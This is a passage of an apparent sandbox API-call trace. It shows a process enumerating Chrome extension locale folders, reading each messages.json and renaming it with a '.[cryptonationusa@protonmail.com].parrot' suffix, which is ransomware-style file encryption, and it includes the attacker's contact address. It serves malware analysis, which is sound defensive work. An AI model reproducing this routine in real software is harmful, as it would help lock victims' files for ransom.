lpString2=".") returned 1 [0071.311] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.311] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.311] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x263, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.311] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.311] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.312] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.312] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x14b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x14b, lpOverlapped=0x0) returned 1 [0071.313] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.313] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x263, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.313] CloseHandle (hObject=0x1fc) returned 1 [0071.313] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0460 | out: hHeap=0x5b0000) returned 1 [0071.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67ef70 | out: hHeap=0x5b0000) returned 1 [0071.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01c8 | out: hHeap=0x5b0000) returned 1 [0071.315] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.316] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7fd5d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7fd5d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.316] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7fd5d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.316] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.319] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.319] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.319] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.319] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.319] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.319] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.319] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.319] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.320] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.320] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xcf, lpOverlapped=0x0) returned 1 [0071.320] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.321] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.321] CloseHandle (hObject=0x1fc) returned 1 [0071.321] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a990 | out: hHeap=0x5b0000) returned 1 [0071.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0071.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67f588 | out: hHeap=0x5b0000) returned 1 [0071.323] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.323] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7fd5d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7fd5d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.323] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7fd5d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.324] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.324] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.324] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.324] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.324] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.324] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.324] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c5, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.324] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.325] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.326] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.326] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xad, lpOverlapped=0x0) returned 1 [0071.326] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.326] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.326] CloseHandle (hObject=0x1fc) returned 1 [0071.326] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01c8 | out: hHeap=0x5b0000) returned 1 [0071.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681258 | out: hHeap=0x5b0000) returned 1 [0071.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.331] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.332] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7ffbec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7ffbec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.332] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7ffbec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.332] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.334] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.334] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.334] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.334] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.334] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.334] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.334] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.334] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.335] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.336] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xac, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xac, lpOverlapped=0x0) returned 1 [0071.336] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.336] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.336] CloseHandle (hObject=0x1fc) returned 1 [0071.336] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01c8 | out: hHeap=0x5b0000) returned 1 [0071.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6813e0 | out: hHeap=0x5b0000) returned 1 [0071.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.339] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.339] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7ffbec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7ffbec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.339] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7ffbec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.339] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.339] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.339] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.339] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.339] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.340] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d9, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.340] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.341] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.341] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc1, lpOverlapped=0x0) returned 1 [0071.341] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.341] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.341] CloseHandle (hObject=0x1fc) returned 1 [0071.341] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 